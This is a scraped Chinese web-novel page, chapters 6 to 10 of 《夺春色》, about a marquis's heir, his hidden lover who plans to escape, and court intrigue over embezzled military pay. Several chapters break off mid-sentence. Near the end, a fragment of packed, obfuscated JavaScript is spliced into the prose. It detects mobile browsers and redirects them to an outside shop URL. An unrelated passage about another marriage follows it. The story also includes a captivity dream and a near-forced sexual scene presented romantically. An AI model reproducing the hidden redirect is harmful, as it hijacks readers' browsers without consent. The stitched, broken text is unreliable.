今日之事,恐怕祖母早已得到了消息。 果不其然,他刚到益和堂,就见尤嬷嬷在一旁候着,正院的奴仆也全部退下了。 谢今淮刚迈步进正厅,尤嬷嬷便关上正厅的大门。 谢老太君“啪”的一声拍在桌子上,厉声道:“跪下!” 谢今淮默不作声跪了下来。 谢老太君扬声质问:“你是不是昏头了!明知祖母看中昌颐郡主,你却为了一个上不得台面的东西与昌颐郡主争执,得罪信南王对你有什么好处?!” 谢今淮面色平静, 6. 夜探 《夺春色》全本免费阅读 谢老太君心中暗叹孙儿还是太单纯,家宅内院想要护住一个毫无根基的人太难了。 世上又有几人能做到。 就连当今圣上,也不例外。 夜沉如水,谢侯府的主院四宜堂静谧无声,房梁上明黄的灯笼照亮了昏暗的夜色。 谢老夫人穿着寝衣坐在梳妆镜前,她不咸不淡问了句:“益和堂闹开了?” 房嬷嬷拿着象牙梳子为她梳理长发,回道:“益和堂向来密不透风,老奴打探不到任何消息,只听说这次老太君尤为震怒,请了家法。” 房嬷嬷说着,小心翼翼看了眼自家主子的脸色。 谢老夫人面无异色:“昌颐郡主是母亲精挑细选出来的,却被她最喜欢的孙儿打了脸。” 整个上京,谁人不知谢今淮就是谢老太君的心头肉,恐怕整个谢家在她心底的分量都抵不过谢今淮。 “我房里还有上好的活血膏,等会儿你让人送到楠院。” 楠院是小侯爷的住所。 “是。”房嬷嬷应道,面色露出犹豫之色,“老夫人,老奴说句不敬的话,昌颐郡主并非小侯爷良配,她生性跋扈,将来进府,恐怕会闹得家宅不宁,您要不要去跟老太君说说看?” 谢老夫人冷嗤一声,房嬷嬷连忙闭口不言。 “我何时有那个本事能插足他的婚事?”谢老夫人自嘲着说,放在梳妆台上的手一寸寸收紧。 谢今淮是她的嫡次子,当初她老来得子,喜不自胜,谁料,谢今淮一出生体弱多病,险些夭折,后来清心寺的主持了灯大师出面救了襁褓中的谢今淮。 老侯爷和老太君为了他谢今淮能顺顺利利长大,便自作主张把他送进了清心寺,直至谢今淮十五岁才回谢侯府,可这十五年的时间,让他们母子间形同陌路。 “您毕竟是小侯爷的母亲,可老太君却连小侯爷的婚事都不让您插手,这未免太霸道了。”房嬷嬷暗暗叹了口气。 作为下人,她本不该妄议老太君,可这些日子外面那些夫人太太说话着实难听,说老夫人只偏爱一无是处的长子,薄待小儿子,让小儿子与她失了心,老太君才不让她插手婚事。 这些传闻自谢今淮十五岁那年重回谢侯府便有了,只是那时,还没有愈演愈烈。 直到谢今淮少年成才,受圣上器重,谢老侯爷更是屡次在公开场合说谢今淮有他少年时风范,让所有人都以为谢今淮是侯爵继承人。 本来,谢景和谢今淮都老夫人的嫡子,无论谁继承侯位,对她都无差,可偏偏长子是老夫人一手带大的,相对于从小在佛寺长大,与她不亲近的小儿子,她自然更偏向长子,也因此在老侯爷战死后,老夫人立刻就向圣上递了一道请封长子的折子。 只是圣上明显偏向于谢今淮,这道折子便被压了下来。可世事无常,不久后谢今淮也失踪了,生死不明,老夫人连上三道折子,圣上确定谢今淮“已死”后,这才无可奈何如老夫人的意愿,立谢景为侯。 虽然老夫人达成意愿,但她在小儿子生死不明,一味偏向于长子的行为着实令人不喜,说她薄待小侯爷的传闻越发厉害,而谢今淮这次大难不死归来,母子之间最后那点情分恐怕也就此消失了。 谢老夫人淡淡道:“我若插手,恐怕还会引他不喜,罢了,由着他们祖孙去吧。” “说来这次还是小侯爷不是,为了一个外室,公然和郡主争执,现在外面闹得沸沸扬扬,恐怕有损咱们谢侯府的颜面。” 听到“外室”这两个字,谢老夫人瞥了眼房嬷嬷,漆黑眸底的冷意一闪而过。 房嬷嬷脸色瞬变苍白,她猛地跪下来:“老奴口不择言,老夫人恕罪。” “你是跟在我身边的老人了,什么话该说什么话不该说,还需要我教你?”谢老夫人看着哆嗦的房嬷嬷,缓缓收回视线,声音带着寒凉之气,“起来吧,这次就算了,再有下次,你自个领罚去。” “是,老奴谨记。”房嬷嬷忙声应道。 谢侯府,楠院。 烟雾缭绕的浴池里,谢今淮的轮廓比平时清冷高雅时,多了些许惑人的风情。 他闭眼靠在池壁上,精瘦健壮的躯体一览无余,乌黑的发丝湿答答落在他的胸膛上,略显白皙的胸口有着几道的伤痕,后背处也全是新添的棍痕,狰狞却又有几分凌乱的美感。 风吹过浴室架子上的白纱幔布,伴随着一阵悦耳的风铃声,谢今淮缓缓睁眼,黑沉的眸光微转,看向架子顶端系着的风铃。 被风吹得摇晃的风铃,像极了他和她办事时的节奏,只不过这会儿慢上许多。 谢今淮脑海中浮现少女红晕的脸颊,还有那一双好似会勾人的眸子。 想到她,谢今淮的身子不自觉滚烫了几分。 她很喜欢风铃。 清水村房子里挂着风铃,后来他们离开清水村,她把风铃带走了,挂在云庄。 而这里这架,是她送给他的。 他说风铃的声音很好听,会使人平心静气。 可她却不知道风铃的声音远不及她悦耳,也无法使他平心静气。 反而风铃声一响,他便想要她,宛如刻在骨血里的冲动。 谢今淮深吸一口气,默默念了几遍清心咒,方把念想压了下去。 又想起白日里她委屈苍白的面容,他深谙的眼眸暗淡了几分。 浴池门开,穿戴整齐、透着水气的谢今淮走出去,守在左右两侧的正律、正言恭敬作揖:“公子。” 正言拿出药膏双手递上:“公子,这是老夫人差人送来的活血膏。” 谢今淮目光沉沉地落在活血膏上,他声音很轻很淡,让人听不出起伏:“收起来吧。” 这便是不用之意。 正言应道:“是。” 谢今淮朝外走去,正律有了某个猜想,欲言又止问道:“公子,夜已深,您这是要……” “去云庄。” 谢今淮没有犹豫离开。 正律和正言对视一眼,从那位叫苏挽筝的少女出现在公子身边,他们就感觉到公子对她非比寻常地在意。 一开始他们都以为公子会把苏挽筝带进候府,可没想到公子会把人安置在云庄,将人好吃好喝待着, 7. 名分 《夺春色》全本免费阅读 “我不想进侯府”六个字就像是一把利刃狠狠插入谢今淮的心口,他费尽心思想要让她入府,为此不惜对抗祖母,可她却不屑一顾,就好似满腔热心被一盆冷水泼尽。 谢今淮漆黑的眸子蓦地沉了下来,又见她表情没有松动,他淡漠问:“为什么?” 屋内的气氛瞬间降到了极点。 苏挽筝细密纤长的羽睫轻颤着,她本就生得眉眼如画,此时眼眶泛红,更像是被打碎的美玉般,脆弱凄美到令人心疼。 “阿砚,你还记得清水村的我吗?” 她的声音轻软绵密,却让谢今淮瞳孔一阵紧缩,他定定地看着她,黑眸中笼罩的寒霜一瞬间尽数褪去。 在清水村的她,尽管吃不饱、穿不暖,但每天她脸上都洋溢着灿烂的笑。可自从来到上京,她脸上的笑逐渐散去,眉眼间也总是带着化不开的愁绪。 谢今淮薄唇嚅动了几下,可最后什么都没说,转身离开了。 独留苏挽筝坐在床头,烛火忽明忽灭,照得她的身姿越发的纤薄。 她空洞的目光忽而落在床头挂着的风铃上。 风铃晃动的声音与梦中的声音纠缠在一起…… 梦里,漆黑的房间,穿着单薄寝衣的苏挽筝蜷缩在地上,听着由远而近的脚步声,她身躯紧绷,双手捂住地抱住双膝,因这个动作,她寝衣微开,露出里面白皙的锁骨,上面布满红痕,令人想入非非。 粉白的双足未穿鞋袜,干干净净踩在地上,右脚脚腕却戴着婴孩拳头大小的脚铐,随着她害怕轻颤而起的身躯,脚铐也发出“哒哒哒”的声音。 “阿筝。”男人的声音在她耳畔响起。 还没等苏挽筝反应过来,她就被拖到了床榻上,随之而起的是风铃不停摇晃发出的叮铃声,配合的脚铐声,犹如魔音在她耳边不停响起。 男人挺拔的身躯覆在她身上,他的声音柔情似水,却让她的身体克制不住地颤抖着。 “阿筝,再逃的话,我就打断你的腿,把你永远锁在身边。” 随即,男人不顾她细弱的挣扎把她锁在身下,狠狠索要。 苏挽筝漆黑的眸子泛起丝丝恐慌,梦里所发生的事情就像是给她警示,欲逃的后果便是囚禁。 可她若是不逃,还是要被禁锢在狭隘的房间内。 终其一生,不见天日。 她不想这样活着。 * 皇宫,御书房。 “朕刚收到林水年弹劾你的奏折。”坐在案桌后的永乐帝萧硕身着明黄色绣着金龙的龙袍,哪怕年过半百,面容依旧刚硬冷毅,浑身上下散发着一股睥睨天下的王者之气。 谢今淮穿着紫色直裰朝服,身姿挺拔,哪怕听到有人弹劾自己,他依旧面无异色,回禀:“圣上,臣没错。” 永乐帝把手中的折子摔在御案上,声音如雷:“你没错!?你把兵部侍郎打成那副鬼样子还没错?!” 谢今淮眼底划过一抹厉色,不卑不亢道:“臣没动手,臣若动手,他焉能喘气?” 他真动手,只会要了李季的命! “赵齐山是你的下属,他动手,和你动手有什么区别?”永乐帝横眉竖目道。 他深吸一口气,恨铁不成钢道:“还有,既然要动手,为什么不隐秘点,非要闹得众所皆知?你让朕怎么给你兜着?!” 旁边伺候的公公李德全悄悄看了眼永乐帝,圣上,这话说出来是不是不太好? 谢今淮看向永乐帝,沉声禀报:“李季身为兵部侍郎,却贪污受贿,扣押军饷数月不发,就连战死沙场将士的抚恤金也一并扣押,将士们的遗孤遗孀只能挨饿受冻。” 谢今淮声音冷如寒霜,待他回京才知道抚恤金被扣押,家中失去顶梁柱的遗孀遗孤没有等到抚恤金,不是病死就是活活饿死。 永乐帝神色骤变,他料想谢今淮不会无故出手,可没想到李季有这么大的胆子,他脸色阴沉,尽显帝王霸气,“你所言,可属实?” “臣已调查清楚。”谢今淮从暗扣中掏出奏折,李德全双手接过奏折,呈递给永乐帝。 永乐帝打开奏折,先是看到里面的血书,字字泣血、句句诛心。 他自诩是个开明的皇帝,大晋在他的统治下,国泰民安,谁想竟有人敢克扣将士的抚恤金。 永乐帝看完血书,脸黑如锅底:“好一个李季!这就是朕养的兵部侍郎,来人。” 守在外面的禁军首领听到声音推门而入,“圣上。” 永乐帝把手中的奏折扔向禁军首领,下令:“把李季等涉案人员全部拿下,押入大牢,听候发落。” 禁军首领接过奏折:“臣遵旨。” 等禁卫军退下后,永乐帝看向谢今淮,问:“此事,你是不是早有准备?” 谢今淮眸底微动,没有说话。 永乐帝拿起林水年写的弹劾奏折,看着谢今淮的目光隐晦未明,“李季的罪证你早调查清楚却迟迟不报,赵齐山殴打李季,你等的就是林水年这封弹劾你的奏折。” 林水年是兵部尚书,李季贪污军饷、抚恤金的事情一旦揭露,虽然会影响林水年,但只要他上一份罪己书,表露自己被蒙蔽、毫不知情,圣上也会看在他三十多年兢兢业业的份上,对他小惩大诫一番。 可林水年为了弹劾他,在奏折里大肆赞赏李季的功劳,而现在这些功劳全成了贪污的污点,林水年也只会落得识人不清,昏庸无能的名头,这样的人,怎配做兵部尚书? “你的目的不单是李季,而是林水年。”永乐帝说出谢今淮心中所算,“你想扳倒林水年,莫不是怀疑他和你当初失踪之事有牵扯?” 当日谢今淮遭人暗算,永乐帝便派人严查此事,可查来查去,都没查到幕后黑手,而谢今淮回京后,也绝口不提当日之事。 提到失踪,谢今淮眸底掠过一抹暗色,他回道:“臣遭人暗算,与其不相干。” 想要他死的人很多,但此事,确实与林水年无关。 毕竟一旦林水年动手,他就能查到。 永乐帝眉头微蹙,对上谢今淮黑沉森冷的视线,突然想起一个可能,他猜测道:“淮河战役?” 谢今淮面色骤冷。 谁能不知,淮河战役是大晋立国以来最惨烈之战,而这一战牺牲了八万将士,其中包括谢今淮的父亲谢老侯爷。 谢老侯爷征战沙场数十年,所带领的军队更是最为出色的铁骑兵,可这样一支骁勇善战的军队却全部牺牲了。眼看着敌军就要占领淮河,好在谢今淮带兵赶到,重创敌军,这才守住了淮河。 永乐帝不是没有怀疑过有人出卖军情,导致八万将士惨死,但严查数月,都没找到问题,最后他也只能尽国之力安抚牺牲将士们的家属。 永乐帝又道:“当年之事,朕最先怀疑的也是兵部,可若是兵部的人有问题,朕早就砍了他们的脑袋。” 谢今淮说:“圣 8. 画作 《夺春色》全本免费阅读 谢今淮刚出宫就看到宫门口站着的正言,他清俊的眉梢微微蹙起,那晚他离开云庄时,让正言留下照看,可如今正言出现在这…… 正言禀报:“公子,姑娘这些天情绪不佳,问芙让属下问您,能否带姑娘出去散散心?” 谢今淮神色微愣,他在上京树敌颇多,怕有心人调查出苏挽筝与自己的关系,所以他派人日夜把守云庄,这是为了保护她的安全。 可在别人看来,这么做,是为了囚禁她?也许,她也是这么想的。 难怪……她不开心。 谢今淮说:“告诉问芙,我并未限制阿筝的出入。” 正言应道:“是。” 谢今淮往马车走去,状似无意问了句:“她这些天在做什么?” “姑娘在作画。” 谢今淮眸底渐深,在清水村时,苏挽筝便以卖画为生,后来救了他,为了养活他,更是没日没夜作画。 “阿砚,我能养活你。”少女艳丽璀璨的笑,宛如春花明媚。 明明自己活得艰难,却还一心花钱给他补身子。 他的阿筝啊。 “我记得我书房有一套御赐的颜料匣,你送去云庄。” 正言倏然抬眸,眼底的震色一闪而过。 公子擅画,圣上特意赐下品相最好的作画颜料,平时公子都不舍用,却要将一整套都送到云庄。 * 苏挽筝手持画笔,独自坐在案桌后作画,照顾她的徐嬷嬷擅长作画,徐嬷嬷担心自己走后,她无法生计,便将这么手艺传给了她,她现在的画技虽比不得大师,却足以养家糊口。 两个时辰过去,纸上的寒梅已显成。 苏挽筝放下画笔,揉了揉酸痛的手腕和手指。她的手极其漂亮,秀窄修长,白皙如羊脂,圆润的指甲好似透着粉蜜,只是再好看也掩盖不了那一层层薄薄的老茧。 其实,她的手比在清水村时好看了很多。 “姑娘累了吧?奴婢准备了您爱吃的红枣糯米糕。”问芙言笑晏晏端着茶点走进来,她把精致的糕点小碟放在案桌上。 苏挽筝低低应了声。 问芙的目光落在寒梅图上,由衷地赞道:“姑娘画得真好。” “许久不曾作画,都生疏了。”苏挽筝淡淡道。 “侯府的大小姐也喜作画,奴婢有幸见过大小姐的画作,奴婢觉得大小姐的画作比不得姑娘。”问芙说。 苏挽筝眉眼淡淡,她们作画是消遣喜好,而她作画是为赚钱。 她若想离开,钱是必不可少的。 “奴婢还有一个好消息要告诉姑娘。”问芙勾起嘴角,喜滋滋朝苏挽筝说道。 苏挽筝眉梢轻动,只见问芙朝门口的人挥了挥手,一个丫鬟抱着青玉雕成的匣子走进来,问芙从丫鬟手中接过匣子,献宝似的放在案桌上,她打开匣子,露出里面各色各样的颜料。 “这是当初圣上御赐给小侯爷的颜料匣,小侯爷平时都舍不得用,可听闻姑娘在作画,特意让正言送来。” 苏挽筝眸光微垂静静地看着颜料匣,她作画这么多年,还从未见过这么好的颜料。 问芙又道:“小侯爷还说姑娘若是愿意,可以随时出去走动。” 苏挽筝眸光轻动,唇畔勾勒出一抹弧度。 这倒的确是个好消息。 问芙见姑娘笑了,悄悄松了口气,那晚小侯爷离开时神色不虞,紧接着又许久不曾踏足,姑娘看似没有任何变化,却越发不爱说话,她怕姑娘郁结于心,便向正言提出带姑娘出去转转,如今看小侯爷把珍藏已久的颜料匣都眼巴巴送来了,她也终于放心了。 有了名贵的颜料,苏挽筝的寒梅图越发的艳丽夺目。 翌日,苏挽筝拿着画卷和问芙出门,问芙一直很疑惑为何她要拿着画卷,直到来到“雅斋”,问芙才恍然大悟:“姑娘,您要卖画?” “嗯。”苏挽筝应道,她没想过卖画的事情要瞒着问芙,因为根本瞒不住。 问芙不解道:“为何?” “赚钱傍身。”苏挽筝言简意赅道。 问芙失笑,刚想说小侯爷不差钱,可转而一想,姑娘将来是要进侯府的人,以后要用银子的地方多了去,若是没有赚钱的办法,的确艰难,卖画虽不是光彩的事,但到底是一项收入。 “雅斋”是名人雅士买书画的地方,看着柜台上摆放着各个大作的名画,苏挽筝心底倒是没底了,她非名画大作之辈。 就在苏挽筝忐忑之余,掌柜迎上来喜笑颜开问道:“这位姑娘,您要买些什么?” “我想卖画。”苏挽筝从问芙手中接过画卷,“掌柜,看看收不收?” 掌柜眼底闪过一丝讶色,到他店里卖画的都是家道中落之辈,而面前这位姑娘虽戴着帷幔,看不清面容,但周身上下散发的气质可见非一般人。 “姑娘要卖画?” 苏挽筝点头,把手中的画卷展开。 “这寒梅画得甚是传神,浓淡相间,栩栩如生,姑娘这幅画妙哉啊。”掌柜眼底满是欣赏,他暗想这姑娘身姿纤细,可见年岁不大,有这样的画功着实不凡,“不知姑娘师从何处?” 苏挽筝虽对自己的画作很满意,但到底第一次在上京这么大的地方做买卖,如今听掌柜的夸赞,心底放松了不少,莞尔一笑回道:“我跟家中长辈学了几年,掌柜满意便好。” 掌柜的确很满意,近几年名画大师的画作多为青山绿水,虽也是景色,却大多数缺乏浓重的色彩,这副寒梅图色彩鲜艳,且一看便是用名贵的颜料绘制而成。 他沉吟片刻,开价:“姑娘,这幅画我愿出价二十两购得,您意下如何?” 还没等苏挽筝说话,旁边的问芙不悦道:“才二十两?我家姑娘作这幅画用了许久,你二十两打发叫花子呢?” 而且这幅画上色的颜料那是圣上御赐的,价值千金。 掌柜为难道:“姑娘,并非我不愿出高价,只是我这边贩卖的画作皆是名画大师的,姑娘若是师从名家,我倒也可以以此由头给姑娘涨价,可……”他欲言又止。 问芙说:“姑娘,他分明是故意压价。” 话音刚落,只听二楼台阶处,传来温婉悦耳的女声。 “这位姑娘若是愿意,我愿出五十两买下这副寒梅图。” 苏挽筝抬眸望去,只见一个女子站在台阶上,身着牡丹紫的烟笼长裙,金丝为边绣着层叠如花般的海棠,裙摆处点缀着几只展翅而飞的蝴蝶,这衣裙不但做工极为精致,就连颜色都极为衬人。 女子看似二十上下,不似寻常女子纤瘦,她略显丰腴,体态婀娜,雅致的玉颜上画着精致的妆容,一双峨眉落在眼角处微上挑,尽显成熟妩媚,勾魂摄魄。 “长公主您这不是砸我们的招牌吗?”掌柜显然与长公主相熟,带着熟练的语气开口。 长公主? 萧如沁。 苏挽筝听过她的名号,永嘉长公主萧如沁是先皇的遗腹子,是圣上最小的妹妹,自幼被圣上抚养长大,听闻圣上极为宠爱这个妹妹。 七 9. 流言 《夺春色》全本免费阅读 苏挽筝站在雅斋门口,目送着萧如沁的轿撵离开,嘴角微不可见扬起一丝丝笑,侧头看向问芙,“找个地方吃饭吧。” 问芙虽看不到帷帽下苏挽筝的神色,却能感觉到她身上散发出了悦色,心下大安,提议道:“姑娘知道金鼎轩吗?金鼎轩是上京最大的酒楼,不如去那?” 问芙兴致勃勃地提议,却没注意苏挽筝脸色变了变。 “苏二,你知道爹爹今天带我们去哪了吗?” “金鼎轩啊,上京最大的酒楼,像你这样的乡巴佬听都没听过吧。” “你知道吗?金鼎轩的一条鱼,就够买下你这条贱命了。” 少女稚嫩的声音突然从记忆深处传来,带着炫耀,又难掩嘲讽。 “姑娘?”问芙见苏挽筝迟迟没有开口,疑惑地唤道。 苏挽筝回神,应道:“好。” 她也想去看看金鼎轩是不是像那人说的那么好? * 作为上京城最大的酒楼,金鼎轩位于城中心最繁华的地带,门前挂满了各种彩灯,整座楼一共有四层,每层楼所赏的风景皆有不同,而招待的宾客也不同,一楼招待的是平民和商贾,二楼招待的是小有名气的才子佳人,三楼招待的是达官贵人,四楼招待的则是皇亲国戚。 以苏挽筝现在的身份也只能落座在一楼小隔间,她抬头看了眼二楼,相比于一楼简朴大气,二楼更偏向于素净雅致,由此可见,三四楼是何等富丽堂皇。 真不愧是享有‘贵族名窟’之称的金鼎轩,上京世流都以在金鼎轩用膳为荣。 曾经,苏挽筝也期盼着父亲能带她来长长见识,可如今,她倒是来了,却显得格格不入。 “姑娘,这道香酥卤蒸黄鱼是金鼎轩的招牌菜,您尝尝看。”问芙在旁边伺候用膳。 苏挽筝看到菜都上齐了,便对问芙说:“你坐下一起吧。” 问芙连连摇头道:“姑娘,这不合规矩。” “现下只有你我二人,不必谈规矩。”苏挽筝温婉一笑道,“况且我也不喜欢一个人吃饭。” 问芙面露犹豫之色,听到后面那句话,便不再犹豫,朝苏挽筝屈膝一礼,小心翼翼坐到凳子上。 苏挽筝给问芙加了一块鱼肉,含笑道:“吃吧。” “谢姑娘。”问芙看着碗里的鱼肉,眼底闪过一抹泪光,她从小没有吃过一顿饱饭,家里实在活不下去就把她卖了。 她服侍过好几个主子,可他们对奴婢无一不是非打即骂,她险些没有活过那个冬日,是小侯爷见她可怜,给了她一条生路,放她在院中伺候。 她的日子才远比在家中舒坦,可奴婢永远都是奴婢,没有主子会把奴婢放在眼里,可姑娘不同,她时常顾念着自己。 问芙吃了一口鱼肉,顿觉惊为天人,笑着称赞道:“不愧是金鼎轩的招牌菜,这是奴婢吃过最好吃的鱼,姑娘,你觉得如何?” “很好吃。”苏挽筝嘴角勾勒出一抹笑意,只是笑意却不达眼底。 她吃过最好吃的鱼,应该是清水村时,她费力抓了条成人巴掌大小的鱼,熬成汤喂给谢今淮,他把最柔软最好吃的鱼肉挑出来递到了她嘴巴。 很小一块,但好吃极了。 苏挽筝眉梢微敛,忽而听到前方不远处传来动静。 “咦,这不是昌颐郡主吗?” 只见一袭朱红色百花长裙的昌颐郡主走了进来,她身后跟着几个鲜活明艳的小姑娘,却不见当日那个趾高气扬的徐盈盈,她们一行人在众人惊羡的目光下走上楼。 “昌颐郡主好事将近,不在家赶制嫁衣,怎么有闲情来金鼎轩啊?” “好事?什么好事?” “当然是她和谢小侯爷的婚事。” “听闻谢老太君极为喜欢昌颐郡主,前两天,谢小侯爷又亲自把价值连城的玉如意送到了信南王府,这还不是表示两家好事将近?” 后面小隔间传来的声音让苏挽筝神色微顿,她温和的目光瞬间一寸寸淡了下去,骨子里透出来的冷让她全身发颤。 问芙担忧地看了眼苏挽筝:“姑娘……” “我没事。”苏挽筝红唇微抿,哪怕她脸色再平静,也掩饰不了声音中的破碎的颤动。 他成亲,不过是迟早的事。 她与他,终将陌路。 然而那议论的声音还未停歇,只听那人继续说:“可不是说小侯爷在外面养了个女人,还为了那个女人拂了昌颐郡主的面子,想来是极受小侯爷宠爱。” “这年头宠爱算什么,小侯爷天之骄子,唯有公主郡主这等身份尊贵的女子才配得上,养在外面的那都是玩物。” “不过我倒是想知道究竟是什么样的女人,能入小侯爷的眼?” “那定然是绝相貌绝世,纵然不是,那也肯定是床上功夫不错,才能勾得小侯爷流连忘返,哈哈哈哈……” 听到这些不流入的声音,苏挽筝的脸色一寸寸变得惨白,她握着筷子的手无意识地用力,白嫩的手指被攥得发红。 问芙听不下去,猛地拍桌而起,欲要绕到后面好好教训这些胡说八道的人。 苏挽筝低声唤道:“问芙。” 问芙气得脸红脖子粗,恼怒道:“姑娘,这些人说话太过分了……” “你能堵住他们的嘴,难道还能堵住悠悠众口吗?” 问芙抿紧唇,只能一脸挫败地回到位置上,她见苏挽筝神色平静,问道:“姑娘,您不生气吗?” 苏挽筝眉梢微动,没有说话。 从她站在谢今淮身边时,她就知道外面的人会怎么议论她。 而在金碧辉煌的四楼亭台楼阁上,数名闺阁少女倚楼而望,其中一名水色碧衣少女看向昌颐郡主,满脸笑意恭维道:“还未恭贺郡主大喜。” 昌颐郡主轻飘飘瞥了眼碧衣少女,“八字未成,何来大喜?” 尽管这样说,她眼底却藏着势在必得的锋芒。 碧衣少女冯心月是户部尚书之女,户部尚书与信南王素来交往密切,她也听从父亲命令,自幼伴在昌颐郡主左右,知道昌颐郡主喜欢好话,于是谄媚道:“小侯爷连御赐的玉如意都送给您,这不就表明要让郡主称心如意吗?” 上京城中谁人不知昌颐郡主仰慕谢小侯爷已久,她最大的心愿不 10. 发作 《夺春色》全本免费阅读 “阿筝,你知道何为玩物吗?” 听到谢今淮森冷的话,苏挽筝眸底蒙上一层恐慌,身子也克制不住轻颤着。 许是察觉到苏挽筝的害怕,谢今淮如墨般漆黑的眸子危险地眯起,他的手指滑落到她的颈边,粗粝的指腹暧昧地摩挲着她。 “我若把你当玩物,每次床笫之间就不会顾及你受不受得住,只会让自己尽兴。”谢今淮低沉的声音夹着冰冷和失望,“阿筝,你想试试吗?” 话音刚落,谢今淮一手强硬地搂住她的腰身,另一手扫开软榻上的案桌,欺身而上,把怀里的人压在软榻上,强吻上她的红唇,舌尖撬开她紧闭的牙关,贪婪地索取属于她的气息。 苏挽筝反应过来后,双手抵在他的胸口,用她微不足道的力道挣扎着。 然而谢今淮禁锢着她的双手越是牢固,紧紧地将她锁住,以一种强硬霸道的姿态占有她身上的每一寸气息。 “不要……”苏挽筝仰头想要避开他的吻,但男人哪里能容许她躲,霸道炽热的唇舌将她堵住,把她所有的呜咽全部吞噬掉。 很快,谢今淮不再满足于唇舌间,他的吻逐渐向下蔓延,单手撕丨开她的衣裙,雪白颈脖处一根细细的红色系带刺红了他的眼,深沉的眸子蕴着潮丿涌。 原本尚存一丝理智的他此刻再也顾不得其他。 他要让她,无路可逃。 苏挽筝感觉到他粗粝的大手落在她身上,他温热的气息喷洒在她的颈后。 近乎失控的吻让她无法喘气。 恍惚间,她感觉自己身处在梦境中,那种无力感令她害怕。 最后关头,苏挽筝破丨碎的声音带着细弱的哭腔。 “阿砚,你别这样,我害怕。” 听到她的声音,谢今淮骤停,他抬头看向她。 只见苏挽筝紧闭双目躺在软榻上,沾着泪珠的羽睫不停地颤动着,如雪似玉的脸庞泪痕斑斑,满头青丝凌乱在榻上铺开。 谢今淮猩红的眸色恢复了理智,他没想到自己竟会失控,知道自己吓着了她,起身温柔地把她散落的衣服一件件穿回去,转瞬间,他似是又恢复成了那个冷静自持的谢小侯爷。 “阿筝,对不起。”他的声音又低又轻,暗哑中透着不平静的压抑。 说完,谢今淮开门。 苏挽筝眸光微动,没注意他离开的步伐带着几分仓促。 问芙守在门口,等看到小侯爷出门,连忙躬腰行礼:“小侯爷。” “照顾好她。”谢今淮对问芙吩咐,随即大步离开。 问芙进门,看着地上一片狼藉,她神色担忧看向苏挽筝,欲言又止道:“姑娘,小侯爷只是在气头上,等他气消了……” 问芙早就听到里面的动静,虽然担心姑娘,但作为下人她也不敢对抗小侯爷。 是啊,气消了,他又会来。 而她不能有半分脾气。 苏挽筝贴身的襦衣早已破碎不堪,神色却带着前所未有的平静,语气淡淡道:“问芙,我想沐浴。” 问芙连声道:“奴婢马上命人备水。” 问芙离开后,苏挽筝蜷缩在榻上。 她不能再留在这里。 她不想如梦中一般被永远囚禁。 * 楠院浴池中,谢今淮矜贵的脸上带着不正常的红晕,比往日从容持重多了几分魅惑和邪性。 全身每一寸皮肤都好似在剧痛中燃烧,令他浑身战栗,冷汗淋漓。 他放在池壁的双手紧握成拳,手背上青筋凸起,他试图抑制住身下翻涌而起的滚烫。 他自幼在佛寺长大,对女色方面完全不上心,哪怕遭人迫害,身中情毒,也数年未曾破例,可谁曾想到那日他重伤,在苏挽筝的救治下,他的情毒却发作了,若非凭借多年意志强压住,他早就要了苏挽筝。 只是,在与苏挽筝日益相处下,她对他的影响越来越大,他体内的情毒也越发不受控制,直至再也忍受不了,他们成婚了,而在得到她的那刻,他便知道自己再也离不开她。 以往情毒发作,他虽痛苦难当,却能忍下。 可自从要了苏挽筝,这毒发作起来便如烈焰焚身,骨断筋裂。 他所中的情毒极其特殊,一旦与女子完成交合,便再也离不开初次交合的女子。若是情毒发作之时,不是与最初的人交合,便会烈焰焚身。 不得不承认,给他下毒的人用心极其险恶,不想要他的命,却想掌控他。 这些年他四处派人找解药,却一无所获,直到重回京都,云游归来的师傅对他说,此药没有解药,只能凭借自己过人的意志抑制。 所以他这半年他极力忍耐。 可最终,还是无济于事。 不是不想戒,而是舍不得。 苏挽筝是他第一个女人,他离不开他,亦不想离开她。 等情毒平息,已至深夜。 谢今淮来到书房,正律早已在一旁候着,他见公子浑身湿气,不明白苏姑娘明明是公子的解药,为何公子还要这样折腾自己? “公子,圣上已经下旨,以李季为主的贪污涉案者即日处斩,其族人流放岭南,三代不许入朝为官。”正律眸光微垂着禀报道。 谢今淮面色冷峻,漆黑的眼底划过一抹厉色,他问:“林水年呢?” “林水年收到皇上降级圣旨后便昏了过去,圣上派御医去林府,不过他现下还未醒。” 谢今淮黑沉的眸底划过一抹冷讽。 正律沉吟片刻,问:“公子,您为何不直接禀明圣上,林水年与当年淮河战役有关呢?” 谢今淮修长的手指有一下没一下敲打着桌面,“叩叩叩”的声音在寂静无声的书房尤为明显,“淮河战役后,圣上第一时间调查的便是兵部,可却什么都没查出来,这说明什么?” 正律疑惑地看向谢今淮。 谢今淮沉声道:“两种可能,一种是兵部确实没有问题,还有一种是幕后黑手不是林水年,而是另有其人。” 兵部不可能没问题。其他人不知道,但谢今淮知道,淮河战役最终惨败的原因是兵器问题,粗制滥造的长刀、长矛一砍便断,没有兵器,将士们赤手空拳如何打战?! 想起那血流成河的淮河,想起支离破碎将士们的尸首,谢今淮放在桌面上的手紧紧握起,手背上青筋凸起,八万将士、连带他的父亲全部葬身淮河。 他在得知兵器问题,回京复命时,却惨遭暗算,险些丧命。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12753956|134555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人已有相中的小姐?” 谢老夫人笑笑说:“苏家嫡女不错,配得上佑儿。” 苏家嫡女,不就是上京双姝之一的苏元兮吗? 房嬷嬷点头赞道:“苏小姐在上京负有盛名,的确是个不错的人选。” 她又顿了顿说:“只是……苏大人不过从四品的官,这样的家世还是委屈了咱们世子。” 若非当年那次意外,以世子的风姿才学,公主都娶的,怎么会委屈到要娶一个四品小官的女儿。 房嬷嬷的话让谢老夫人眉梢划过一抹痛楚,她连忙纠正道:“不过好在苏小姐自己争气,是上京出了名的才女,婚后也定然能和咱们世子琴瑟和鸣。” 谢老夫人紧蹙的眉梢缓缓舒展,“只要佑儿好,我自然不会亏待她。” 